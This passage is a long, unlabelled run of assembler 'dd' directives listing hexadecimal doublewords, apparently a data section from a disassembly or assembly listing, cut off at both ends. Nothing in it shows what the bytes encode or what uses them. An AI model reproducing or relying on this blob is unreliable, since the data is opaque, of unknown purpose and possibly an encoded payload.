0AE90662Eh, 7111224Eh dd 6890023h, 0C6B5B408h, 3800BFE3h, 1C3103B3h, 1D6DBEEh dd 0F4E43604h, 0E47F2D05h, 0CF182765h, 44789CABh, 0E9CD00D2h dd 0E406827Ch, 0FD00B4CEh, 0E8735BB1h, 75A8CAA5h, 0ACBA00A6h dd 0CF263F52h, 10C002E2h, 6A68B0DDh, 0D27A0E8Ah, 314EEA15h dd 630143E3h, 0B6B83CD3h, 8F003FBFh, 0E27EE188h, 9F344B2h dd 5D62CC8Eh, 0E3388E5Dh, 79F9E755h, 7995007Ah, 9D16898h dd 8C0050EEh, 635BBC53h, 7F344E6Fh, 25300185h, 29FF10DFh dd 0FDC88080h, 5851B4C2h, 157F0071h, 0AB18DD8Ch, 0CC091ED8h dd 85521F47h, 68800AA6h, 62252Fh, 3C2D6CA9h, 0E475B673h dd 0BDD81800h, 0B9F9B09Ah, 2CB3481Ah, 0E2573A09h, 5227FC80h dd 6A004C43h, 7F329705h, 78C2175Ah, 0EFEEB9h, 0D3569CF2h dd 86AA87D6h, 33905807h, 0D2402882h, 60A16Eh, 0CEC44E70h dd 0F03CF80h, 77FCA500h, 28195B87h, 0B5B23E99h, 682200F0h dd 311FD504h, 15009224h, 47D8B487h, 7DE7479h, 0ADAFB90Eh dd 0E4BCA007h, 85024ABEh, 839C6742h, 0C34860A3h, 0D5D400BDh dd 0AD326B0Fh, 751D4F94h, 9340E2F1h, 0C9173D42h, 106E2F6h dd 49A4C38Dh, 21D5239Bh, 7EA05088h, 5600AD54h, 7F34781Dh dd 0FED1594h, 9AD348E3h, 67229D00h, 0E898F94Bh, 3FB07907h dd 33002F8Dh, 9FAA42Bh, 6296787Ch, 428A3000h, 0BB72BDD5h dd 56BE3E30h, 1D278850h, 0CFFBD1E6h, 0DB255F06h, 5BF20092h dd 1146F0B9h, 96006E76h, 0DA896131h, 581DB4h, 6AA43D97h dd 4020928Ch, 0E09BA7Dh, 0D4FA047Bh, 0F23C48h, 187A9772h dd 7FDFBE98h, 9274A400h, 4E3E5735h, 0D8E0E1h, 6EC6AEDBh dd 54055BB0h, 0E2001479h, 916BF7EEh, 770A162h, 0BB26B152h dd 0FC10B01Ah, 2F002999h, 0DBAA897Dh, 1030E78h, 55045EB1h dd 802D2274h, 94A96DD8h, 636583h, 0B617DA6Eh, 4D35C9AEh dd 0EF05CE78h, 6B5CB411h, 61BBB800h, 1E2C0229h, 0C0FE7C26h dd 0F8F20F5h, 7B00F401h, 0B63703D3h, 58552h, 411ABD71h dd 0A3E7078Dh, 0C989A600h, 0DA77C76Ah, 18041469h, 74DEB2h dd 0C34C1BCAh, 387D9578h, 33119A00h, 156D2BF1h, 1B213BD9h dd 2F626C80h, 7BCE4E3Ah, 0A3D47412h, 0E8CBE000h, 1BBB84h dd 0D09D20Ah, 29A70BCEh, 0DA1AF200h, 13C9AF01h, 784C00BEh dd 7C2159D9h, 44908965h, 50976E00h, 80D7531Dh, 10FB00B0h dd 24C672D5h, 6D2C3F51h, 0D60088B2h, 0B736FD35h, 586245Fh dd 0A6C381E4h, 0CC01D4CDh, 0F0EA4F44h, 9F1FC700h, 9AB81306h dd 0DD6C00C0h, 0B3E5CBECh, 250005E7h, 0A30C8208h, 28B094CFh dd 0F880E60h, 34B3B1FAh, 872A8940h, 0A0982E91h, 0E1AD3Eh dd 0E31E9DF0h, 0E88FD505h, 0F87004h, 7BB1C6FDh, 0ABD925DCh dd 43941600h, 0DAB8BD91h, 8C230354h, 7533AE93h, 0E4903AD8h dd 0CC59A109h, 0A0C42F01h, 2E057EB3h, 0D8DE262Bh, 0A2D700E8h dd 45C9A7Ch, 0E832F3Fh, 60B3BD5Eh, 47D4FD72h, 0DFD10094h dd 8C60E328h, 5A00A538h, 1E05D279h, 6BF15Eh, 4DDA9675h dd 0EF475C71h, 0C03B1C90h, 4B0F81FFh, 1DDBB1C4h, 1F8F7EE8h dd 40305F6Bh, 0AF0C11FCh, 0A963E339h, 991DA1A0h, 676192E8h dd 867F5400h, 0AFC7687h, 23D1C66Bh, 0B6EC00B8h, 13A330F5h dd 1744E007h, 0A8E08B4Eh, 599B73h, 1A493982h, 8916FF53h dd 5C23100h, 0F4BE48Ah, 460C009Fh, 1E8434A4h, 7750A2D1h dd 191FBC8Fh, 0B99EE2A1h, 1340F0ECh, 16BDB51Bh, 5FC36Eh dd 0A3281246h, 4E009229h, 0D3DEB6B9h, 0C0A886F6h, 0ACE5A6C8h dd 9B0053ABh, 0FE16B44Ah, 0DFF4F8h, 9D70D235h, 0D08E8C84h dd 75AFFA5Ch, 69889600h, 4B6E5E77h, 0E7F83Eh, 0A0ACFD0Bh dd 0AF2CF9E8h, 2A50E8C0h, 4C2465DDh, 1900A48Fh, 0E89304B4h dd 0CE319D36h, 22561942h, 0EA92B0E4h, 9C350077h, 0A8D338A1h dd 72FA09D0h, 4B655407h, 2C80F64Fh, 26B6CACh, 11906926h dd 16C04C70h, 0AD008DDBh, 7C507F4Fh, 0AC0E64h, 0CFFBB55Dh dd 0DE3F6EC3h, 0EBD43024h, 80933E00h, 9D2A06h, 1EEDEAD6h dd 90DE9C5Ch, 4DE41900h, 0A466ECD0h, 0CC812CDh, 0E648008Ah dd 0AD5CACEh, 880ECFF2h, 200E29D3h, 0F75E9F91h, 0D1F50145h dd 3A6C6DBEh, 7DFECC7Ah, 0DC368D07h, 9570CB05h, 3F254912h dd 0A980C74Eh, 69C15CFh, 593D26BBh, 0DF2C00C1h, 2F0219DCh dd 0DB4A0BADh, 4420068Ah, 0F161EF0Ah, 3C79BF01h, 20DEAF3Fh dd 2C729DE4h, 3DE888DBh, 37B0D0h, 0A249BF7h, 1859EC85h dd 1A86650h, 21CF7B02h, 408B5514h, 0B60754h, 8279AA8Ch dd 83647F62h, 0D9944D05h, 3680FD9Ah, 8D859Bh, 0B256AB17h dd 0F4AEF342h, 7EA0E550h, 0F33BC00h, 79AB291Bh, 94C800FBh dd 0C7187085h, 6063F2D9h, 0F8A9E828h, 769BC59h, 38E178ABh dd 4FD44066h, 0CE001234h, 58FA4B83h, 725970h, 13448D11h dd 0B63BA1F9h, 0F200F4B8h, 0BF15D912h, 60B156h, 0E6748B62h dd 0EC2C653Ch, 0BB30D800h, 28B60C3Ah, 0DB0100F7h, 0A1C3B3DAh dd 4B005F9Bh, 3829724Ah, 1256FC13h, 8B9055h, 8E662454h dd 391FFE93h, 0F7CBDF35h, 0B1E58767h, 0F0B4C08Eh, 0C1AC80h dd 0B80A1848h, 0F5F9BCEAh, 0FAA31900h, 9CF87CBh, 0ED080263h dd 7172419Ch, 0E5D5CC83h, 1CDE09F4h, 0ED350E84h, 1A459A9Dh dd 4AC80087h, 67444876h, 3FEE4700h, 5E7055E3h, 24981Dh dd 318D5A92h, 0C93E1AEDh, 343F3Bh, 0E07B3A99h, 30664AFh dd 978798BAh, 6EB00F69h, 892C5A5Fh, 9B17E417h, 2049A50Eh dd 0B153229h, 0BBCD00DBh, 82A292E6h, 51023F9Ch, 0DEBFF028h dd 4E006929h, 0A0E8CC8h dd 0F6D443BCh, 42800A0h, 9EA8E8EEh, 0C400E4B0h, 5BB667EAh dd 1CD60DC6h, 447874CAh, 0C19A985Fh, 0D0E28DBAh, 69004A36h dd 0BE9B1D6Eh, 28786566h, 18C93ADh, 68587ED0h, 603C6A86h dd 190421F4h, 0EE9EDEF5h, 0CDD4ACD0h, 8B2E4407h, 0AC19800h dd 4CF9DC7Eh, 377D2Fh, 0E1A46779h, 55B8EC0Fh, 36F75A00h dd 122FB075h, 95C401E0h, 5EB59BCCh, 133C2054h, 0F3FED508h dd 0C0AA05EDh, 3CFC1418h, 32C93600h, 0F20BE3E9h, 2EA66601h dd 2650AA8Bh, 0ED7170h, 7C081CF4h, 5E308F6Bh, 0EF18A701h dd 0A9FFAE06h, 0B795E8h, 333C4D55h, 8EBB891Ah, 0B9E23C90h dd 1800524Ah, 0C3468AD8h, 5D891EAEh, 0AF1F0095h, 6E497F45h dd 250051E2h, 9E79AC6Bh, 4B312360h, 0B7800382h, 16CDE68Dh dd 7D3700A8h, 7D27A94h, 0FCEBC204h, 0A8D0BD6Fh, 2C3FA8CEh dd 14E7A4h, 84479888h, 0CC762F01h, 147A7500h, 0E1EEF3A6h dd 5B8CA0D7h, 93530068h, 73DEB7F7h, 6E0C2533h, 8149C0AEh dd 0D5EE00DDh, 9F513971h, 0BD046D35h, 0FEBACA38h, 33FFA1C1h dd 0EBD470h, 40F1FB1h, 0D4DC883h, 96905800h, 0BB378455h dd 0D0BA129Fh, 0A866001Eh, 745A07B7h, 44130300h, 42865724h dd 87043F01h, 0C15C9407h, 0B611D0DCh, 903B4715h, 46A500D2h dd 0A4FB0AF2h, 892C001Eh, 0FD9F0B1Bh, 0D7025196h, 5DA0F034h dd 87E46063h, 1E152782h, 6D9E3C80h, 0F498B551h, 3F5A1612h dd 92A93C80h, 31C10108h, 0CC68AFB3h, 486BD0E4h, 0FDB03013h dd 8A761400h, 50E9B62Ah, 79ECA0h, 83705D9Ch, 1BB0C546h dd 0FAB4DC00h, 4213C6CEh, 0D760Ah, 44CF043Fh, 0DFF19C30h dd 3CF3645Ch, 0C9268010h, 397F4238h, 2DA729Bh, 0B805FCDEh dd 0AB815C4Dh, 712E3776h, 0B2B08105h, 0E7193C5Bh, 0F4AC7DD8h dd 95F102C4h, 0B0D28C9h, 0F257B481h, 3DED60DAh, 334BBB00h dd 89218369h, 0E280BDB7h, 3B93F085h, 1304D00Bh, 2F4C001Ah dd 86C0A695h, 1082C907h, 0E450318Ch, 9CAD84h, 0ECE9643Ah dd 5A0BC4A4h, 801BEF39h, 462E5F82h, 13694EC0h, 0C4BA0D51h dd 8A6980F8h, 0EE04435Ch, 0C3A45BEAh, 0A1A3F2C3h, 0B8F0C1D7h dd 2B0E05D1h, 0A053124Eh, 8626F3B8h, 2C800C83h, 0C9D1F218h dd 1BA90EC7h, 0CCE5B3ECh, 82F60AA8h, 0DDE200D4h, 8DF14493h dd 3B785A4Ch, 0E3AC801Eh, 0CDC9D667h, 487B01E8h, 0F336EB0Eh dd 3B32E409h, 63EF2A00h, 0CCF0F6E7h, 85D10B1Dh, 0C880533Ah dd 49172634h, 89C90612h, 6E5D1C00h, 0AFF352h, 0F2B51ED1h dd 3848B83Ch, 7E5Dh, 6BDE34B3h, 8E2331h, 0CF49038Ah, 1E0FDC93h dd 0B804DB0Eh, 5121A239h, 2847DC98h, 0F3DA0B80h, 6C000C83h dd 6F26C2CCh, 9012E100h, 0B8E26E6Ch, 0B70E0350h, 8CBD61C1h dd 2A47C3A9h, 0F3D15800h, 26658E26h, 9E148358h, 22BA1D7Dh dd 27CBACA8h, 58A235Ch, 4CCFE1BBh, 701BF5C0h, 7C493B58h dd 9F00CCCCh, 45384A48h, 0C900F1BEh, 0CF0C7A5h, 1F87A9F9h dd 44FE300Eh, 0D5CC6399h, 449180ECh, 70EAE2F4h, 0B600A490h dd 68A34BC3h, 189A51BAh, 6171293Ah, 0A000D4CEh, 0B539BF52h dd 78E72EDh, 0B044F173h, 0B0F305Bh, 6A90800Ah, 5A00F27Ch dd 3A798298h, 0E891A7A1h, 0DC0700AEh, 0EA4D107Ch, 380016C1h dd 5D3585FAh, 72FB496Dh, 370800B8h, 8357D33Bh, 2B007386h dd 8F9F07B6h, 1F1E33Dh, 253CED4Dh, 0C03E4882h, 6400DBABh dd 5906512Dh, 976B83h, 86D236A6h, 44CD4230h, 38B31B05h dd 6B802F87h, 0DD8A88h, 0D2A62966h, 0FC75E319h, 0D61FF917h dd 0BD0B8400h, 0B0BB54h, 52E54A7Dh, 0C5B2F531h, 0D7DD1400h dd 0FCA2B4FFh, 96DC01EAh, 0AC470C2Ch, 803ADD31h, 74B8DF81h dd 9E4D99h, 0F5D9A7F0h, 4C42DAD5h, 55AA6A00h, 0B6577787h dd 8D402495h, 628400F6h, 0D1A50786h, 6B2E5A05h, 8C01BA6h dd 88AAC3h, 0B517160h, 85E3330Dh, 9A0015B0h, 87647ABAh dd 0FE324069h, 505900C4h, 909EFB4Dh, 0ED0028C8h, 22A0D3C1h dd 0F3042Eh, 0EF84FACDh, 4C8031D2h, 5F5D0800h, 5A07A1Dh dd 90DA094Fh, 618051F7h, 5A851F8Eh, 0E4DE8300h, 15013368h dd 7DFD00E0h, 0D5EC3D7h, 89033096h, 2588EE62h, 876198D3h dd 90C900A2h, 39DE243Ah, 0E603F522h, 0C247162Ah, 0BFEC9D0h dd 7290D1DCh, 0A4D600BFh, 0B19BCF2Ch, 4C0015C6h, 0D587B4BDh dd 0F2FF63h, 3712E2E3h, 60AA8D2Ch, 509AA907h, 0F97B723h dd 21602616h, 0C80145Fh, 0DF30E4Bh, 0A94560B9h, 64FAB40h dd 0BA1B5A17h, 0D6640FFAh, 1A980760h, 0AD0785F0h, 0A796AFCCh dd 8A0646h, 0D6AF5FAh, 1AF471E4h, 0E231DA01h, 55EF9705h dd 3A8A60h, 8335073Fh, 0C7ABF6Eh, 59C3FF00h, 0D5FB818h dd 1BECBDh, 577430EEh, 9C3F80E5h, 0E6CB9100h, 0BF64AFE7h dd 78B100ABh, 850ACC03h, 1F0189FAh, 5B3E9929h, 39CC501Bh dd 0A1ED00D5h, 0E8526B12h, 0CC00ECC2h, 0CB7E8F6Ch, 3810EF2h dd 4C7D373Bh, 4F85AF8h, 1800EAF4h, 0BB85E0D7h, 2DBE8Fh dd 0C0CAF650h, 9FDAC3DFh, 0F8003E79h, 5895E232h, 2BA08Ah dd 245674BFh, 9E701F9Ch, 0DF591B00h, 52458794h, 81E709CFh dd 0A8801C2Bh, 0F5F9FA8Ch, 0F75F2A0Fh, 0F2C09DF0h, 222F49F6h dd 68F630h, 5A9975D0h, 6C79208Dh, 28F8FD30h, 8FC8DFh, 885D9D97h dd 2229319Bh, 0E8210828h, 0E16F622h, 64D91A7Fh, 0CCC1D6AFh dd 0C01F66A1h, 7900DB09h, 7E715013h, 8D2D73h, 9110A6F5h dd 80E3FA25h, 0B30B5500h, 0B54C0413h, 0DB8A0F3Dh, 0A7AE8D6Bh dd 499E7D80h, 5307F523h, 0A99211D0h, 0F2C11F90h, 2A170005h dd 8EE6214Ch, 0B6008937h, 0A2BE3D23h, 18323997h, 0C40B487Ah dd 0BB0FDF34h, 8B84BFh, 6F132988h, 0E7D9004Ah, 0C9E62F9Eh dd 5F7F21AEh, 9BA43000h, 59044929h, 12B8DEh, 33790508h dd 0D067D3AFh, 0FF884107h, 2642FDACh, 7C6440C8h, 7B390037h dd 9BF7C9EEh, 13770A92h, 47FA5B00h, 1AF30E6h, 73B03865h dd 9A9CC280h, 0F5A8EC32h, 0F61C8200h, 0D202AD9h, 42890FE0h dd 8F0F9619h, 0E635E120h, 0BC00234Ah, 0F13B5259h, 847C9Eh dd 0F5BED32Ch, 17E52A75h, 7178D700h, 0E2FE825Eh, 0E39403DAh dd 0A9CD914Fh, 1040439Ah, 77000CB8h, 5B7B3618h, 175E9Bh dd 0B2ADAC8Eh, 0C62013FDh, 0C81A48h, 55A10931h, 885F37h dd 3DACC92Bh, 181EDBFCh, 6B004FB8h, 0E83AC156h, 7316B9h dd 0CBFE1D74h, 52A11C3Ch, 0AD065924h, 0C1004B17h, 9326C8BBh dd 108D0022h, 54D579F4h, 0C100996Ah, 0F9D721DDh, 2A6BA8C6h dd 0FCB411h, 66A55DB7h, 34539654h, 3C55CC00h, 1E6D6C2Fh dd 5BC8010Ch, 2D40AD5Fh, 66F7410Ah, 0DF02036h, 642C34FDh dd 0B0846703h, 0C0E3030Ch, 249CC01Ch, 8014A73Fh, 4253A816h dd 1300836Ch, 0F61860FFh, 0FE646AB1h, 96E307DEh, 0C0C4CD9Fh dd 6816BBFAh, 31888700h, 3DDC8AC3h, 497D004Eh, 0D82C0811h dd 0A301867Fh, 30C9908Ch, 0FA80B0C0h, 871D63C2h, 2900B5EAh dd 83FF1A61h, 73FA10h, 3D42699h, 0A0A3F8ECh, 7800047Bh dd 7462F04Dh, 2594C77h, 0E8BF55F3h, 95608184h, 400EA7Fh dd 51894B25h, 0C068B07Eh, 965CDAB1h, 8C00B659h, 2E7F0A79h dd 297D9E5h, 749F702Ah, 2840E74Dh, 0EB3F21A4h, 0E65811h dd 96BB145Ch, 0F55AA2h, 40BE28DEh, 0E5AA300Ah, 7803BA00h dd 0B5BFE61Bh, 0A92900C1h, 55B089EDh, 2E1D335Fh, 59D24352h dd 45C42800h, 0E99F8CAh, 0E6348D91h, 0BCE439A0h, 0D00376B6h dd 0F8AD4D35h, 878B89Ah, 0CCA301B4h, 19BCFAE3h, 6004DC5Dh dd 9547EB01h, 232C1021h, 923E0460h, 0B7E43940h, 9BE98E80h dd 0E75834F4h, 0BA01F6FAh, 29F3A756h, 60CE458Ch, 9EBDCC5h dd 47772F21h, 583BB78Eh, 584616D8h, 0B0E9BF00h, 5B38E2C6h dd 0B809786Bh, 0FBDC04C2h, 8058CB73h, 8BBEE644h, 64DF1800h dd 0AFED11E9h, 49040F7Dh, 0BAE33C73h, 0CAA91714h, 4C6218h dd 0AA13A2B9h, 44E19Dh, 6FF8629Bh, 0AF07318Dh, 574B3D00h dd 7ADF16DBh, 0E8C80008h, 0F7D13B8Bh, 68125DC5h, 0FC5DE922h dd 0A045BF87h, 982EFA70h, 2802E8D6h, 3EE49BB9h, 183EF69Eh dd 86660C07h, 0A4388C1Fh, 0C6DB1400h, 0E022C92Eh, 33EE835h dd 0E6F2BF09h, 10002DE1h, 3FF4F8CEh, 7DE22C31h, 0BD2800D3h dd 136F4426h, 98792F78h, 9E0615E6h, 5ECBFAFEh, 0A8180024h dd 0C0D42416h, 250012F3h, 9548A2Dh, 3307319h, 69C56F61h dd 0B0046AFFh, 0DB26A033h, 35C3EC90h, 588B00FEh, 311B1F84h dd 250E6F1Ah, 60A9A43Fh, 28D6B38Eh, 7D8300C5h, 29D05D3Ch dd 4801E0DBh, 69C42624h, 0F8FC71B0h, 49933F0Ah, 473A2A80h dd 0CDD78615h, 4A8F0507h, 0ADC02112h, 38FDF979h, 92073653h dd 60376928h, 3D2BAA98h, 1AEC7B00h, 22A113BDh, 7D3F664h dd 9AC3B033h, 0F8FE505Bh, 731E9909h, 5DC1E679h, 0E2CE0247h dd 3F2B54A8h, 7BE863h, 0A2E01B0Dh, 8C2C55CFh, 805EBD3Dh dd 0DA3DD6F7h, 0FBC1A7h, 4882116Fh, 248A7FE9h, 0D6B40C07h dd 0DBD39A49h, 30E7E93Dh, 541AD3E0h, 698D8h, 5E8A6633h dd 65EA0D04h, 4AEC09C6h, 19260020h, 0E0971266h, 0A61F71CCh dd 0EA40CA60h, 527A2D56h, 0F9F00137h, 0B82104DCh, 0FC39ACBEh dd 20290E03h, 0DAC9B8E0h, 0C6DE3AC8h, 0B217330h, 340129D6h dd 0F79B8B06h, 0C9F9CFDCh, 0FFA2870h, 0AFA287E1h, 24DB687Bh dd 0D1ABB000h, 9BFC3405h, 30B172CCh, 4A5148EAh, 2718F2B9h dd 3112481h, 329701C1h, 46FABE98h, 830C7A6h, 0B9E4214Fh dd 1877C97h, 287D8431h, 0EDBCC3D2h, 5058B2ECh, 97C0302Ch dd 962A5C90h, 4E4428FBh, 97BC00EDh, 7DCF245Ch, 25005847h dd 0FA06FF6Ah, 359D39DCh, 7D0F8E7h, 43928FB0h, 70C055B6h dd 6F0082A7h, 5212B43h, 1897C71h, 40780D67h, 0F1C66DCAh dd 3E4460F6h, 0BF0007F2h, 1D7115BAh, 71692D81h, 483A01EEh dd 9F945514h, 4723E4EDh, 2618E360h, 0F6F08653h, 0E6E01CA5h dd 815241D9h, 9F79430Fh, 0DD407438h, 7357061Fh, 0A3EA0E41h dd 0C56076DAh, 4D3AB14Bh, 0F0E88E00h, 70FCB38Bh, 374700BDh dd 769F01A5h, 0A6A2642Dh, 2ECB86C0h, 0E4B98E00h, 2093222Ch dd 5F1F078Fh, 0F03F60E9h, 0AE530581h, 4762CF1Ch, 0C74A828Fh dd 0A850E0A4h, 1D16E3D9h, 5A997F8h, 0C02B14F6h, 0B911A601h dd 330CEF01h, 4F929324h, 0FD9870h, 0EEECCA70h, 4B3EFF07h dd 0C73AC800h, 7F72D7D1h, 2AF4F8h, 0CB52ABEDh, 0B16F5FDCh dd 3820E400h, 71593CD1h, 757E000Bh, 5840FCDDh, 0F700A582h dd 9F369E61h, 95BEC6h, 8459F21Fh, 2F4A42F8h, 0C3004A98h dd 4F866C65h, 6E6EC9Dh, 0D4EF2935h, 370030C7h, 3BACB3B9h dd 2ABC9080h, 0CC7445h, 5723029Ah, 8D251906h, 1FB36A07h dd 0C5C05E3Dh, 0A086D154h, 0EE7EA4h, 0A6739332h, 0A40DC3D8h dd 6DA0F601h, 7D457898h, 6210F0h, 8F33B027h, 0F677DA58h dd 2118A0F0h, 0B2703BC0h, 664507A3h, 63407128h, 51D0AF58h dd 81905417h, 0EF777D00h, 44CC6E0Ah, 88211E26h, 0AB70C0B5h dd 0B39AD209h, 0C4AC4B00h, 81C5A855h, 1816007Ch, 0EC0E0792h dd 0B53934EBh, 991D7E85h, 0AD80CC62h, 0E9701EEAh, 2A0B030Ch dd 0FD6A2656h, 0BC995CF0h, 0AAA8B700h, 58696B49h, 0D2F305E9h dd 0EF078970h, 96B9F480h, 0ACAA0117h, 1EA9C584h, 0FCCFED59h dd 7C281F1Ch, 31058272h, 5FDD6091h, 0E526B001h, 34EC952Bh dd 2EC9002Fh, 0ED3651EEh, 22009F3Ah, 7E96F8BFh, 0BA210Dh dd 4EB3E68Dh, 3E4D1F04h, 0FC409703h, 80CF8A51h, 48BCBD74h dd 0A00B5C23h, 2383B939h, 0D087B121h, 0EA2C9DD2h, 5E7C4B00h dd 35549592h, 51BA0122h, 0F3165ACEh, 0E2C0CBCAh, 0A3183BFFh dd 0E68947A5h, 2C820CBBh, 0C4A8C541h, 0ABE2B00h, 4F4AD147h dd 1F700B7h, 0EE577367h, 0E0077856h, 0BA247AD8h, 0F805FF53h dd 0E9D73Fh, 0FA0F361Ah, 92A55276h, 0C000C57Ah, 0DDA2ADD4h dd 1C3FC8B8h, 0C08C49CAh, 0CE7B5D3Ah, 8400AFBAh, 3779C04Ah dd 1F10509h, 63B026B3h, 0D46BB26Ch, 0E905E684h, 7595314Bh dd 9B103B80h, 0C0EE60E8h, 0E280B8C1h, 6D70511Fh, 6B7CFBC0h dd 928FF72Eh, 835A00F4h, 1030D27Fh, 8A004BD9h, 0E4C95D58h dd 7E0431ABh, 7B70924Fh, 751B1306h, 0BE1C40CAh, 0D2E98D41h dd 0E35A8100h, 9269DB6h, 0F8F00060h, 0FBF63593h, 18011571h dd 68143B4Fh, 0D450D1E1h, 61B2E322h, 0CB668C4h, 2BF4D4CBh dd 88379A00h, 60BF2015h, 0AC483931h, 62227900h, 0EA442F02h dd 512C2E1Dh, 154B5EC0h, 1E53490Ah, 0DED6CBh, 0FA8473BFh dd 920F1AD1h, 670929AAh, 6050C94Eh, 59F3ECh, 235E273Eh dd 712A2673h, 1E034F00h, 281F414Ch, 172F00BBh, 8EB09F30h dd 6E008D23h, 82E298B8h, 77FAC244h, 3FE300DFh, 0B2E94D37h dd 601CF6F0h, 0C6C1C558h, 0DA3996FCh, 5FEDC040h, 76CC7DB4h dd 0E4580027h, 82854BF6h, 500FC668h, 0A3F48B6Fh, 0B01A879Fh dd 618B783h, 0BB9E193Ah, 4112C41Dh, 7400884Fh, 0ACB949Fh dd 3B2E073Ch, 104A1C58h, 507FCDAEh, 0E47C0E00h, 13050276h dd 0E6960E71h, 2100908Ah, 8F5EFD16h, 9F84EA00h, 139812DCh dd 3FC103BAh, 0FB5B74AEh, 796E3CD0h, 18569E39h, 0C6C03887h dd 0C5C90766h, 4093EC1Dh, 5DD62BE4h, 0D7B1C814h, 0AA0778E0h dd 38F757D8h, 32F612A0h, 8ADB24BAh, 8B3C8114h, 34A02068h dd 760F25A8h, 608E2428h, 0F80438B9h, 6AF42850h, 8BA93CFCh dd 0BA45CC80h, 0EE76E38Fh, 87941107h, 6323F32Ah, 0C951A853h dd 7CEA01FDh, 3329E857h, 53B03FE4h, 0A17300C0h, 74FC55D7h dd 4030DEC7h, 9C454894h, 86C203CFh, 0DFDE6A8h, 77F3F9B8h dd 67B78101h, 5CFFFC51h, 0F7B17A80h, 0AD57ADAh, 0F1E90F07h dd 0AB50F2BCh, 80D340h, 449B575Dh, 13331724h, 5277727Ch dd 8008D13Bh, 863C88D0h, 0FF3159Ah, 14DB4C28h, 0CCCADDE3h dd 1A50D6D0h, 0C39A5A00h, 267B55F2h, 461E00BEh, 17A59385h dd 0BD009F0Bh, 4912D258h, 0E0372FB2h, 0EDE50069h, 0FFCC173Dh dd 0CD006661h, 0FDABAD2Eh, 3F9809h, 0B5A65538h, 2B3D4A6Bh dd 1FA2BB48h, 0F1D7632Fh, 59938D00h, 407926h, 5C217D5Ah dd 30886F42h, 5BF3CC0Dh, 26E54076h, 3C71464h, 0B78F9B1Ah dd 78070A88h, 0E3368483h, 0F098C410h, 9011007Ch, 0F5D505ACh dd 0AF05B0DFh, 0E24D1AB5h, 8B68CB80h, 3EC400B8h, 2A631948h dd 5500DE57h, 42CD1375h, 6BA9ABh, 449E520Dh, 693A6095h dd 19BC9C09h, 0BC4A0B6h, 0A94813h, 6C1E2365h, 274FE7D0h dd 4438FA00h, 835D1618h, 955300D2h, 0BFA2B596h, 0AF009EDEh dd 0DC5AF3E0h, 7336251Ch, 0E6750328h, 0D79C7437h, 41ACBE02h dd 483EEA6Fh, 2591A550h, 0ABD82BE2h, 86CD7A05h, 105FE96Fh dd 24564060h, 8C4928CEh, 0DE252095h, 0AEB80C18h, 3EF14611h dd 0F1E48AF4h, 621238C0h dd 0E86E2826h, 3AA22C81h, 0ECF08B3Dh, 265881F1h, 6080F2B6h dd 72FC6E1Ch, 5C019869h, 0A4CA3739h, 0F434E1A9h, 0E6C0CC60h dd 8C7E7438h, 0A2128100h, 3B1CEFD5h, 8BC53786h, 0A1FF8080h dd 127BF74Dh, 0F191F300h, 44BCCC83h, 0C63E00B8h, 0CD26C85Ah dd 0E439AD5Dh, 0F200F6DFh, 0E60EE80Ah, 288A302h, 2B7A93E7h dd 0CAC097B7h, 2E005CD2h, 0BF4A1892h, 1858CCAAh, 0A23A4DCFh dd 0FF75D8ECh, 698E4B05h, 35807962h, 1F3DB4C6h, 8034AFF3h dd 0DF4D2F0Ch, 5F0197A6h, 6426303Ah, 0D860EF8Fh, 8C7B001Ch dd 0DBF72BCFh, 1903CBFDh, 0FE48DC75h, 224D138h, 421AEA40h dd 0CBBC0F0Dh, 2D810C9Fh, 40A4DEC4h, 793741B0h, 9BB2B800h dd 0B70F6673h, 2BC03FEh, 0E3999FB4h, 2CAF701Ch, 71A89140h dd 32DD92h, 4E6B57Eh, 21AD355Fh, 0E7936F00h, 0D7A63A0Fh dd 14C0C7Ch, 2C0CD08Ah, 3414ED01h, 0A98782A3h, 70AB32DCh dd 53030186h, 8CF9C344h, 5123C42Ah, 8B2CA906h, 2AB2FCh dd 4C0A8408h, 7E9F2817h, 9C59B00h, 0F9E07BE6h, 0B4409C9h dd 0CCA851C3h, 570421FCh, 161F670h, 0B162DA57h, 4E9E264Ch dd 0DDC5F038h, 6030FF6Eh, 0B8F3002Fh, 0BF8B8C39h, 1513A14Eh dd 3C0E8E56h, 0E182AFC5h, 0FA4AA2F2h, 84E72990h, 424852E9h dd 0B906B241h, 4F11E302h, 0FE74E109h, 21F94203h, 1008BF51h dd 751A8C5Dh, 4284B129h, 5194119Bh, 50282628h, 447750B0h dd 564441BEh, 5828A0D2h, 417389FCh, 12786D14h, 2EBF10DEh dd 880FB740h, 981CB8BCh, 20406E03h, 0A7F1E179h, 5B3501CBh dd 0F2EB8023h, 455DC4C8h, 48671600h, 0B021B834h, 974000D4h dd 1BD50A46h, 0D0086BAh, 617995F3h, 0FBFE26h, 8BA74C93h dd 1722EC7Ah, 0B6C0E000h, 6F85D0E4h, 4D6600DBh, 1AC1873Eh dd 0CE006862h, 17721FC2h, 0F4A04932h, 7063DADh, 510A283Fh dd 1CC96368h, 0B2F440AEh, 9E94F65h, 0BAFEFB00h, 0BE0EDB7Ch dd 7609CCEh, 0C0A43CE0h, 0D2B7ADACh, 7F785400h, 0E37999D1h dd 2B6200B8h, 0DF9D2E85h, 0AE018F28h, 618459B1h, 2C24C3E8h dd 8BA60FF5h, 0BA80B253h, 3F4B7C70h, 34E70600h, 4274D567h dd 50150E1Ah, 2560FFD0h, 4EE5890Bh, 73105D00h, 616FD6E0h dd 0BD86004Dh, 10B0FFDh, 1D18C2E8h, 0EF315A19h, 4234006Dh dd 23C54705h, 6478B467h, 0C7004DE4h, 3AF49AABh, 3C81176Fh dd 0DE803C2Bh, 872CF0E3h, 8B790104h, 224EA101h, 3693E5C7h dd 0FBA370h, 9ADDDB3Fh, 810496C0h, 375C5200h, 0D62692F7h dd 9DBF0097h, 2E450FF5h, 0D000963Ch, 62B66A4Bh, 0E7E14Dh dd 9111B8FBh, 0F0F8BB55h, 527D000h, 588AEE13h, 107800ABh dd 411A1719h, 0AA3F50C1h, 63007F70h, 0EC326D92h, 0ACD037h dd 0EA54C261h, 66E731F4h, 0DB58C01h, 0D668DC01h, 0CB25082h dd 0B9803478h, 7AB4C404h, 385EAE00h, 215423B1h, 886B008Ch dd 0FD7D80A4h, 5900225Bh, 0D476FE98h, 0E004CDECh, 1BAA0061h dd 8B5B13E6h, 4C00D184h, 0FC2E399Eh, 0F7990CEh, 4A0CAE64h dd 3B77DBA0h, 163E31EBh, 66AF1C9Ch, 20595B09h, 0C710044Ch dd 0CD27008Dh, 0BE8E0AEFh, 6B00818Fh, 0BA604B5Bh, 1F38ED61h dd 